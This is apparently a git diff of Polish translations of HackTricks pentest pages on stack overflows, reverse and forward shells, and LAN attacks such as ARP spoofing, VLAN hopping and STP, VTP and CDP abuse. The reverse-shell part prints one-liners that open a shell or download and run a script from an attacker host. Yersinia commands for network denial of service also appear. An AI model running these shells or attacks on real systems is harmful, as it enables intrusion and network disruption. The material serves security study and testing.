- W tym przypadku trzeba zapisać 4 wewnątrz konkretnego kawałka, który jest pierwszym przydzielonym (nawet po wymuszeniu zwolnienia wszystkich). Przy każdym nowym przydzielonym kawałku jego numer w indeksie tablicy jest przechowywany. Następnie przydziel 4 kawałki (+ początkowo przydzielony), ostatni będzie miał 4 wewnątrz, zwolnij je i wymuś ponowne przydzielenie pierwszego, które użyje ostatniego zwolnionego kawałka, który ma 4 wewnątrz.
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – praktyczny atak first-fit / unsorted-split overlap: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – nadużywanie dzielenia nieposortowanej skrzynki, aby wyciekować libc i uzyskać nakładkę: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
- 2024 HITCON Quals Setjmp write-up (Quarkslab) – praktyczny atak first-fit / nakładania nieposortowanego: <https://ctftime.org/writeup/39355>
|
||||
- Angstrom CTF 2024 *heapify* write-up – nadużywanie dzielenia nieposortowanej skrzynki, aby uzyskać wyciek libc i uzyskać nakładanie: <https://hackmd.io/@aneii11/H1S2snV40>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
@ -6,7 +6,7 @@
|
||||
|
||||
**Stack overflow** to luka, która występuje, gdy program zapisuje więcej danych na stosie, niż jest przydzielone do przechowywania. Te nadmiarowe dane **nadpiszą sąsiednią przestrzeń pamięci**, prowadząc do uszkodzenia ważnych danych, zakłócenia przepływu sterowania i potencjalnie do wykonania złośliwego kodu. Problem ten często pojawia się z powodu użycia niebezpiecznych funkcji, które nie wykonują sprawdzania granic na wejściu.
|
||||
|
||||
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie je nadpisać i **kontrolować przepływ wykonania programu**.
|
||||
Głównym problemem tego nadpisania jest to, że **zapisany wskaźnik instrukcji (EIP/RIP)** oraz **zapisany wskaźnik bazowy (EBP/RBP)** do powrotu do poprzedniej funkcji są **przechowywane na stosie**. Dlatego atakujący będzie w stanie nadpisać je i **kontrolować przepływ wykonania programu**.
|
||||
|
||||
Luka ta zazwyczaj występuje, ponieważ funkcja **kopiuje na stos więcej bajtów niż przydzielona ilość**, co pozwala na nadpisanie innych części stosu.
|
||||
|
||||
@ -25,7 +25,7 @@ printf("You entered: %s\n", buffer);
|
||||
|
||||
Najczęstszym sposobem na znalezienie przepełnień stosu jest podanie bardzo dużego wejścia z `A`s (np. `python3 -c 'print("A"*1000)'`) i oczekiwanie na `Segmentation Fault`, co wskazuje, że **adres `0x41414141` próbował być dostępny**.
|
||||
|
||||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Bruijn.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja.
|
||||
Ponadto, gdy już znajdziesz, że istnieje luka w przepełnieniu stosu, będziesz musiał znaleźć przesunięcie, aż będzie możliwe **nadpisanie adresu powrotu**, do tego zazwyczaj używa się **sekwencji De Brujna.** Która dla danego alfabetu o rozmiarze _k_ i podsekwencji o długości _n_ jest **cykliczną sekwencją, w której każda możliwa podsekwencja o długości _n_ pojawia się dokładnie raz** jako ciągła podsekwencja.
|
||||
|
||||
W ten sposób, zamiast ręcznie ustalać, które przesunięcie jest potrzebne do kontrolowania EIP, można użyć jako wypełnienia jednej z tych sekwencji, a następnie znaleźć przesunięcie bajtów, które zakończyły nadpisanie.
|
||||
|
||||
@ -53,7 +53,7 @@ pattern search $rsp #Search the offset given the content of $rsp
|
||||
Podczas przepełnienia (zakładając, że rozmiar przepełnienia jest wystarczająco duży) będziesz w stanie **nadpisać** wartości lokalnych zmiennych w stosie, aż do osiągnięcia zapisanych **EBP/RBP i EIP/RIP (lub nawet więcej)**.\
|
||||
Najczęstszym sposobem nadużywania tego typu podatności jest **modyfikacja adresu powrotu**, aby po zakończeniu funkcji **przepływ kontroli został przekierowany tam, gdzie użytkownik wskazał** w tym wskaźniku.
|
||||
|
||||
Jednak w innych scenariuszach może wystarczyć tylko **nadpisanie niektórych wartości zmiennych w stosie** do wykorzystania podatności (jak w łatwych wyzwaniach CTF).
|
||||
Jednak w innych scenariuszach może być wystarczające jedynie **nadpisanie niektórych wartości zmiennych w stosie** (jak w łatwych wyzwaniach CTF).
|
||||
|
||||
### Ret2win
|
||||
|
||||
|
@ -23,7 +23,7 @@ exec >&0
|
||||
```
|
||||
Nie zapomnij sprawdzić z innymi powłokami: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
|
||||
|
||||
### Symbol bezpiecznej powłoki
|
||||
### Symbol bezpieczna powłoka
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
@ -47,7 +47,7 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
||||
```
|
||||
## Forward Shell
|
||||
|
||||
Kiedy mamy do czynienia z podatnością **Remote Code Execution (RCE)** w aplikacji webowej opartej na Linuksie, osiągnięcie reverse shell może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub skomplikowane mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywne podejście polega na ustanowieniu powłoki PTY (Pseudo Terminal), aby skuteczniej interagować z zainfekowanym systemem.
|
||||
Kiedy mamy do czynienia z luką **Remote Code Execution (RCE)** w aplikacji webowej opartej na systemie Linux, osiągnięcie reverse shell może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub skomplikowane mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywne podejście polega na ustanowieniu powłoki PTY (Pseudo Terminal), aby skuteczniej interagować z zainfekowanym systemem.
|
||||
|
||||
Zalecanym narzędziem do tego celu jest [toboggan](https://github.com/n3rada/toboggan.git), które upraszcza interakcję z docelowym środowiskiem.
|
||||
|
||||
@ -81,7 +81,7 @@ toboggan -m nix.py -i
|
||||
```
|
||||
Aby bezpośrednio wykorzystać interaktywną powłokę. Możesz dodać `-b` dla integracji z Burpsuite i usunąć `-i` dla bardziej podstawowego opakowania rce.
|
||||
|
||||
Inną możliwością jest użycie implementacji powłoki forward `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
Inną możliwością jest użycie implementacji forward shell `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Musisz tylko zmodyfikować:
|
||||
|
||||
@ -89,7 +89,7 @@ Musisz tylko zmodyfikować:
|
||||
- Prefiks i sufiks twojego ładunku (jeśli istnieje)
|
||||
- Sposób wysyłania ładunku (nagłówki? dane? dodatkowe informacje?)
|
||||
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`**, aby uzyskać pełne PTY (zauważ, że potoki są odczytywane i zapisywane z przybliżonym opóźnieniem 1,3s).
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`**, aby uzyskać pełne PTY (zauważ, że potoki są odczytywane i zapisywane z opóźnieniem około 1,3 s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
@ -236,7 +236,7 @@ curl -L https://github.com/robiot/rustcat/releases/latest/download/rustcat-x86_6
|
||||
&& chmod +x /tmp/rcat \
|
||||
&& /tmp/rcat connect -s /bin/bash <ATTACKER-IP> 55600
|
||||
```
|
||||
Features:
|
||||
Funkcje:
|
||||
- Opcjonalny flag `--ssl` dla szyfrowanego transportu (TLS 1.3)
|
||||
- `-s` do uruchomienia dowolnego binarnego pliku (np. `/bin/sh`, `python3`) na ofierze
|
||||
- `--up` do automatycznego przejścia do w pełni interaktywnego PTY
|
||||
@ -259,7 +259,7 @@ Przydatne flagi:
|
||||
- `-p socks5://127.0.0.1:9050` : proxy przez TOR/HTTP/SOCKS
|
||||
- `-t` : utwórz interfejs TUN (reverse VPN)
|
||||
|
||||
Ponieważ cała sesja jest szyfrowana i multiplikowana, często omija proste filtrowanie egress, które zabiłoby zwykły `/dev/tcp` shell.
|
||||
Ponieważ cała sesja jest szyfrowana i multiplikowana, często omija proste filtrowanie egress, które zabiłoby zwykły shell `/dev/tcp`.
|
||||
|
||||
## OpenSSL
|
||||
|
||||
@ -297,7 +297,7 @@ awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s;
|
||||
```
|
||||
## Finger
|
||||
|
||||
**Atakujący**
|
||||
**Napastnik**
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
@ -334,7 +334,7 @@ close(Service)
|
||||
```
|
||||
## Xterm
|
||||
|
||||
To będzie próbować połączyć się z twoim systemem na porcie 6001:
|
||||
To spróbuje połączyć się z twoim systemem na porcie 6001:
|
||||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
@ -347,7 +347,7 @@ Xnest :1
|
||||
```
|
||||
## Groovy
|
||||
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) UWAGA: Java reverse shell działa również dla Groovy
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) UWAGA: Odwrócona powłoka Java działa również dla Groovy
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
|
@ -13,7 +13,7 @@ W tej sytuacji masz pewien **zakres IP** (może nawet kilka **zakresów**) i mus
|
||||
|
||||
To jest **najłatwiejszy** i **najszybszy** sposób, aby odkryć, czy host jest aktywny, czy nie.\
|
||||
Możesz spróbować wysłać kilka pakietów **ICMP** i **oczekiwać odpowiedzi**. Najłatwiejszym sposobem jest po prostu wysłanie **żądania echo** i oczekiwanie na odpowiedź. Możesz to zrobić, używając prostego `ping` lub używając `fping` dla **zakresów**.\
|
||||
Możesz również użyć **nmap**, aby wysłać inne typy pakietów ICMP (to pomoże uniknąć filtrów dla powszechnych żądań-odpowiedzi ICMP echo).
|
||||
Możesz również użyć **nmap**, aby wysłać inne typy pakietów ICMP (to pomoże uniknąć filtrów dla typowych żądań-odpowiedzi ICMP echo).
|
||||
```bash
|
||||
ping -c 1 199.66.11.4 # 1 echo request to a host
|
||||
fping -g 199.66.11.0/24 # Send echo requests to ranges
|
||||
@ -21,17 +21,17 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
|
||||
```
|
||||
### Odkrywanie portów TCP
|
||||
|
||||
Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyną rzeczą, którą możesz zrobić, aby sprawdzić, czy host jest aktywny, jest **próba znalezienia otwartych portów**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, zajmie to zbyt dużo czasu.\
|
||||
W takim razie potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) i listy **najczęściej używanych portów:**
|
||||
Bardzo często można zauważyć, że wszystkie rodzaje pakietów ICMP są filtrowane. Wtedy jedyne, co możesz zrobić, aby sprawdzić, czy host jest aktywny, to **spróbować znaleźć otwarte porty**. Każdy host ma **65535 portów**, więc jeśli masz "duży" zakres, **nie możesz** sprawdzić, czy **każdy port** każdego hosta jest otwarty, zajmie to zbyt dużo czasu.\
|
||||
Wtedy potrzebujesz **szybkiego skanera portów** ([masscan](https://github.com/robertdavidgraham/masscan)) i listy **najczęściej używanych portów:**
|
||||
```bash
|
||||
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
|
||||
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
|
||||
```
|
||||
Możesz również wykonać ten krok za pomocą `nmap`, ale jest to wolniejsze i `nmap` ma problemy z identyfikacją aktywnych hostów.
|
||||
Możesz również wykonać ten krok za pomocą `nmap`, ale jest to wolniejsze i `nmap` ma problemy z identyfikowaniem aktywnych hostów.
|
||||
|
||||
### Odkrywanie portów HTTP
|
||||
|
||||
To jest po prostu odkrywanie portów TCP, przydatne, gdy chcesz **skupić się na odkrywaniu usług HTTP**:
|
||||
To jest po prostu odkrywanie portów TCP przydatne, gdy chcesz **skupić się na odkrywaniu usług HTTP**:
|
||||
```bash
|
||||
masscan -p80,443,8000-8100,8443 199.66.11.0/24
|
||||
```
|
||||
@ -108,14 +108,14 @@ Jednak, ponieważ jesteś w **tej samej sieci** co inne hosty, możesz zrobić *
|
||||
### **Wake On Lan**
|
||||
|
||||
Wake On Lan jest używane do **włączania** komputerów za pomocą **wiadomości sieciowej**. Magiczny pakiet używany do włączenia komputera to tylko pakiet, w którym podany jest **MAC Dst**, a następnie jest on **powtarzany 16 razy** w tym samym pakiecie.\
|
||||
Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na porcie 9**.\
|
||||
Takie pakiety są zazwyczaj wysyłane w **ethernet 0x0842** lub w **pakiecie UDP na port 9**.\
|
||||
Jeśli **żaden \[MAC]** nie jest podany, pakiet jest wysyłany do **rozgłoszeniowego ethernet** (a rozgłoszeniowy MAC będzie tym, który jest powtarzany).
|
||||
```bash
|
||||
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
|
||||
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
|
||||
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
|
||||
```
|
||||
## Skanning hostów
|
||||
## Skanowanie hostów
|
||||
|
||||
Gdy odkryjesz wszystkie IP (zewnętrzne lub wewnętrzne), które chcesz dokładnie zeskanować, można wykonać różne działania.
|
||||
|
||||
@ -222,13 +222,13 @@ Oczywiście.
|
||||
|
||||
### Przechwytywanie poświadczeń
|
||||
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) do parsowania poświadczeń z pliku pcap lub z aktywnego interfejsu.
|
||||
Możesz użyć narzędzi takich jak [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz), aby analizować poświadczenia z pliku pcap lub z aktywnego interfejsu.
|
||||
|
||||
## Ataki w LAN
|
||||
|
||||
### Spoofing ARP
|
||||
### ARP spoofing
|
||||
|
||||
Spoofing ARP polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z podrobionym IP.
|
||||
ARP Spoofing polega na wysyłaniu niepotrzebnych odpowiedzi ARP, aby wskazać, że IP maszyny ma MAC naszego urządzenia. Wtedy ofiara zmieni tabelę ARP i skontaktuje się z naszą maszyną za każdym razem, gdy będzie chciała skontaktować się z podrobionym IP.
|
||||
|
||||
#### **Bettercap**
|
||||
```bash
|
||||
@ -254,15 +254,15 @@ W nowoczesnych przełącznikach ta podatność została naprawiona.
|
||||
|
||||
### Ataki 802.1Q VLAN / DTP
|
||||
|
||||
#### Dynamic Trunking
|
||||
#### Dynamiczne Trunkowanie
|
||||
|
||||
**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkingu, pozwalając przełącznikom na automatyczny wybór portów do trybu trunk (Trunk) lub trybu non-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie jest to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
|
||||
**Dynamic Trunking Protocol (DTP)** jest zaprojektowany jako protokół warstwy łącza, aby ułatwić automatyczny system trunkowania, pozwalając przełącznikom na automatyczny wybór portów do trybu trunk (Trunk) lub trybu nie-trunk. Wdrożenie **DTP** często postrzegane jest jako wskaźnik suboptymalnego projektowania sieci, podkreślając znaczenie ręcznej konfiguracji trunków tylko tam, gdzie to konieczne, oraz zapewnienia odpowiedniej dokumentacji.
|
||||
|
||||
Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkingu, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do wejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy.
|
||||
Domyślnie porty przełącznika są ustawione na tryb Dynamic Auto, co oznacza, że są gotowe do inicjowania trunkowania, jeśli zostaną o to poproszone przez sąsiedni przełącznik. Problem bezpieczeństwa pojawia się, gdy pentester lub atakujący łączy się z przełącznikiem i wysyła ramkę DTP Desirable, zmuszając port do wejścia w tryb trunk. Działanie to umożliwia atakującemu enumerację VLAN-ów poprzez analizę ramek STP i obejście segmentacji VLAN, tworząc wirtualne interfejsy.
|
||||
|
||||
Obecność DTP w wielu przełącznikach domyślnie może być wykorzystywana przez przeciwników do naśladowania zachowania przełącznika, co pozwala na dostęp do ruchu we wszystkich VLAN-ach. Skrypt [_**dtpscan.sh**_](https://github.com/commonexploits/dtpscan) jest wykorzystywany do monitorowania interfejsu, ujawniając, czy przełącznik jest w trybie Default, Trunk, Dynamic, Auto, czy Access—ten ostatni będąc jedyną konfiguracją odporną na ataki VLAN hopping. To narzędzie ocenia status podatności przełącznika.
|
||||
|
||||
Jeśli zostanie zidentyfikowana podatność sieci, narzędzie _**Yersinia**_ może być użyte do "włączenia trunkingu" za pomocą protokołu DTP, co pozwala na obserwację pakietów ze wszystkich VLAN-ów.
|
||||
Jeśli zostanie zidentyfikowana podatność sieci, narzędzie _**Yersinia**_ może być użyte do "włączenia trunkowania" za pomocą protokołu DTP, co pozwala na obserwację pakietów ze wszystkich VLAN-ów.
|
||||
```bash
|
||||
apt-get install yersinia #Installation
|
||||
sudo apt install kali-linux-large #Another way to install it in Kali
|
||||
@ -275,11 +275,11 @@ yersinia -G #For graphic mode
|
||||
```
|
||||
.png>)
|
||||
|
||||
Aby enumerować VLAN-y, można również wygenerować ramkę DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu w żadnych okolicznościach. Wstrzykuje DTP Desirable co trzy sekundy. **Dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
|
||||
Aby enumerować VLAN-y, możliwe jest również wygenerowanie ramki DTP Desirable za pomocą skryptu [**DTPHijacking.py**](https://github.com/in9uz/VLANPWN/blob/main/DTPHijacking.py)**. N**ie przerywaj skryptu w żadnych okolicznościach. Wstrzykuje DTP Desirable co trzy sekundy. **Dynamically created trunk channels on the switch only live for five minutes. After five minutes, the trunk falls off.**
|
||||
```
|
||||
sudo python3 DTPHijacking.py --interface eth0
|
||||
```
|
||||
Chciałbym zwrócić uwagę, że **Access/Desirable (0x03)** wskazuje, że ramka DTP jest typu Desirable, co nakazuje portowi przełączenie się w tryb Trunk. A **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
|
||||
Chciałbym zwrócić uwagę, że **Access/Desirable (0x03)** wskazuje, że ramka DTP jest typu Desirable, co informuje port o przełączeniu w tryb Trunk. A **802.1Q/802.1Q (0xa5)** wskazuje typ enkapsulacji **802.1Q**.
|
||||
|
||||
Analizując ramki STP, **dowiadujemy się o istnieniu VLAN 30 i VLAN 60.**
|
||||
|
||||
@ -327,9 +327,9 @@ Dyskusja na temat ataku **Dynamic Trunking i tworzenia wirtualnych interfejsów
|
||||
|
||||
#### Double Tagging
|
||||
|
||||
Jeśli atakujący zna wartość **MAC, IP i VLAN ID of the victim host**, może spróbować **podwójnie otagować ramkę** jej przypisanym VLANem oraz VLANem ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie mogła połączyć się z powrotem** z atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP).
|
||||
Jeśli atakujący zna wartość **MAC, IP i VLAN ID of the victim host**, może spróbować **podwójnie otagować ramkę** jej przypisanym VLANem oraz VLANem ofiary i wysłać pakiet. Ponieważ **ofiara nie będzie w stanie połączyć się z powrotem** z atakującym, **najlepszą opcją dla atakującego jest komunikacja za pomocą UDP** do protokołów, które mogą wykonać interesujące akcje (jak SNMP).
|
||||
|
||||
Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący może podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary.
|
||||
Inną opcją dla atakującego jest przeprowadzenie **skanowania portów TCP, podszywając się pod IP kontrolowane przez atakującego i dostępne przez ofiarę** (prawdopodobnie przez internet). Następnie atakujący mógłby podsłuchiwać na drugim hoście, który mu należy, jeśli otrzyma jakieś pakiety od ofiary.
|
||||
|
||||
.png>)
|
||||
|
||||
@ -340,15 +340,15 @@ from scapy.all import *
|
||||
packet = Ether()/Dot1Q(vlan=1)/Dot1Q(vlan=20)/IP(dst='192.168.1.10')/ICMP()
|
||||
sendp(packet)
|
||||
```
|
||||
#### Ominięcie segmentacji VLAN w poziomie <a href="#d679" id="d679"></a>
|
||||
#### Lateral VLAN Segmentation Bypass <a href="#d679" id="d679"></a>
|
||||
|
||||
Jeśli masz **dostęp do switcha, do którego jesteś bezpośrednio podłączony**, masz możliwość **ominięcia segmentacji VLAN** w sieci. Po prostu **przełącz port w tryb trunk** (znany również jako trunk), utwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować zażądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od przypadku.
|
||||
Jeśli masz **dostęp do switcha, do którego jesteś bezpośrednio podłączony**, masz możliwość **obejścia segmentacji VLAN** w sieci. Po prostu **przełącz port w tryb trunk** (znany również jako trunk), utwórz wirtualne interfejsy z identyfikatorami docelowych VLAN-ów i skonfiguruj adres IP. Możesz spróbować zażądać adresu dynamicznie (DHCP) lub skonfigurować go statycznie. To zależy od przypadku.
|
||||
|
||||
{{#ref}}
|
||||
lateral-vlan-segmentation-bypass.md
|
||||
{{#endref}}
|
||||
|
||||
#### Ominięcie prywatnego VLAN w warstwie 3
|
||||
#### Layer 3 Private VLAN Bypass
|
||||
|
||||
W niektórych środowiskach, takich jak sieci bezprzewodowe dla gości, wprowadza się ustawienia **izolacji portów (znane również jako prywatny VLAN)**, aby zapobiec bezpośredniej komunikacji między klientami podłączonymi do punktu dostępowego. Jednak zidentyfikowano technikę, która może obejść te środki izolacyjne. Technika ta wykorzystuje brak ACL w sieci lub ich niewłaściwą konfigurację, umożliwiając pakietom IP przechodzenie przez router, aby dotrzeć do innego klienta w tej samej sieci.
|
||||
|
||||
@ -356,26 +356,26 @@ Atak jest realizowany poprzez stworzenie **pakietu, który zawiera adres IP doce
|
||||
|
||||
**Kluczowe kroki ataku:**
|
||||
|
||||
1. **Tworzenie pakietu:** Pakiet jest specjalnie tworzony, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera.
|
||||
1. **Tworzenie pakietu:** Pakiet jest specjalnie skonstruowany, aby zawierał adres IP docelowego klienta, ale z adresem MAC routera.
|
||||
2. **Wykorzystywanie zachowania routera:** Stworzony pakiet jest wysyłany do routera, który, z powodu konfiguracji, przekierowuje pakiet do docelowego klienta, omijając izolację zapewnianą przez ustawienia prywatnego VLAN.
|
||||
|
||||
### Ataki VTP
|
||||
### VTP Attacks
|
||||
|
||||
VTP (VLAN Trunking Protocol) centralizuje zarządzanie VLAN. Wykorzystuje numery rewizji do utrzymania integralności bazy danych VLAN; każda modyfikacja zwiększa ten numer. Switche przyjmują konfiguracje z wyższymi numerami rewizji, aktualizując swoje własne bazy danych VLAN.
|
||||
|
||||
#### Role w domenie VTP
|
||||
#### VTP Domain Roles
|
||||
|
||||
- **Serwer VTP:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny.
|
||||
- **Klient VTP:** Odbiera ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN.
|
||||
- **Przezroczysty VTP:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest dotknięty atakami VTP, utrzymuje stały numer rewizji równy zero.
|
||||
- **VTP Server:** Zarządza VLAN-ami—tworzy, usuwa, modyfikuje. Rozsyła ogłoszenia VTP do członków domeny.
|
||||
- **VTP Client:** Odbiera ogłoszenia VTP, aby zsynchronizować swoją bazę danych VLAN. Ta rola jest ograniczona w zakresie lokalnych modyfikacji konfiguracji VLAN.
|
||||
- **VTP Transparent:** Nie angażuje się w aktualizacje VTP, ale przekazuje ogłoszenia VTP. Nie jest podatny na ataki VTP, utrzymuje stały numer rewizji równy zero.
|
||||
|
||||
#### Typy ogłoszeń VTP
|
||||
#### VTP Advertisement Types
|
||||
|
||||
- **Ogłoszenie podsumowujące:** Rozsyłane przez serwer VTP co 300 sekund, zawierające istotne informacje o domenie.
|
||||
- **Ogłoszenie podzbioru:** Wysyłane po zmianach w konfiguracji VLAN.
|
||||
- **Żądanie ogłoszenia:** Wydawane przez klienta VTP w celu zażądania ogłoszenia podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji.
|
||||
- **Summary Advertisement:** Rozsyłane przez serwer VTP co 300 sekund, zawiera istotne informacje o domenie.
|
||||
- **Subset Advertisement:** Wysyłane po zmianach w konfiguracji VLAN.
|
||||
- **Advertisement Request:** Wydawane przez klienta VTP w celu zażądania ogłoszenia podsumowującego, zazwyczaj w odpowiedzi na wykrycie wyższego numeru rewizji konfiguracji.
|
||||
|
||||
Luki w VTP są wykorzystywane wyłącznie przez porty trunk, ponieważ ogłoszenia VTP krążą tylko przez nie. Scenariusze po ataku DTP mogą przejść do VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mając na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć.
|
||||
Luki w VTP są wykorzystywalne wyłącznie przez porty trunk, ponieważ ogłoszenia VTP krążą tylko przez nie. Scenariusze po ataku DTP mogą przejść do VTP. Narzędzia takie jak Yersinia mogą ułatwić ataki VTP, mając na celu usunięcie bazy danych VLAN, skutecznie zakłócając sieć.
|
||||
|
||||
Uwaga: Ta dyskusja dotyczy wersji VTP 1 (VTPv1).
|
||||
````bash
|
||||
@ -405,7 +405,7 @@ yersinia stp -attack 0 #Will send 1 CONF packet, nothing else will happen
|
||||
#### **Atak STP Root**
|
||||
|
||||
Napastnik symuluje zachowanie przełącznika, aby stać się korzeniem STP w sieci. Wtedy więcej danych będzie przechodzić przez niego. To jest interesujące, gdy jesteś podłączony do dwóch różnych przełączników.\
|
||||
To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika korzenia.
|
||||
To osiąga się poprzez wysyłanie pakietów BPDUs CONF, mówiących, że wartość **priorytetu** jest mniejsza niż rzeczywisty priorytet rzeczywistego przełącznika root.
|
||||
```bash
|
||||
yersinia stp -attack 4 #Behaves like the root switch
|
||||
yersinia stp -attack 5 #This will make the device behaves as a switch but will not be root
|
||||
@ -425,7 +425,7 @@ CDP jest skonfigurowany do nadawania informacji przez wszystkie porty, co może
|
||||
|
||||
#### Wymuszanie zalewania tabeli CDP <a href="#id-0d6a" id="id-0d6a"></a>
|
||||
|
||||
Bardziej agresywne podejście polega na przeprowadzeniu ataku Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania:
|
||||
Bardziej agresywne podejście polega na przeprowadzeniu ataku typu Denial of Service (DoS) poprzez przytłoczenie pamięci przełącznika, udając legalne urządzenia CISCO. Poniżej znajduje się sekwencja poleceń do rozpoczęcia takiego ataku przy użyciu Yersinia, narzędzia sieciowego zaprojektowanego do testowania:
|
||||
```bash
|
||||
sudo yersinia cdp -attack 1 # Initiates a DoS attack by simulating fake CISCO devices
|
||||
# Alternatively, for a GUI approach:
|
||||
@ -444,11 +444,11 @@ Możesz również użyć [**scapy**](https://github.com/secdev/scapy/). Upewnij
|
||||
|
||||
Telefony VoIP, coraz bardziej zintegrowane z urządzeniami IoT, oferują funkcje takie jak odblokowywanie drzwi czy kontrolowanie termostatów za pomocą specjalnych numerów telefonów. Jednak ta integracja może stwarzać zagrożenia dla bezpieczeństwa.
|
||||
|
||||
Narzędzie [**voiphopper**](http://voiphopper.sourceforge.net) zostało zaprojektowane do emulacji telefonu VoIP w różnych środowiskach (Cisco, Avaya, Nortel, Alcatel-Lucent). Odkrywa identyfikator VLAN sieci głosowej, korzystając z protokołów takich jak CDP, DHCP, LLDP-MED i 802.1Q ARP.
|
||||
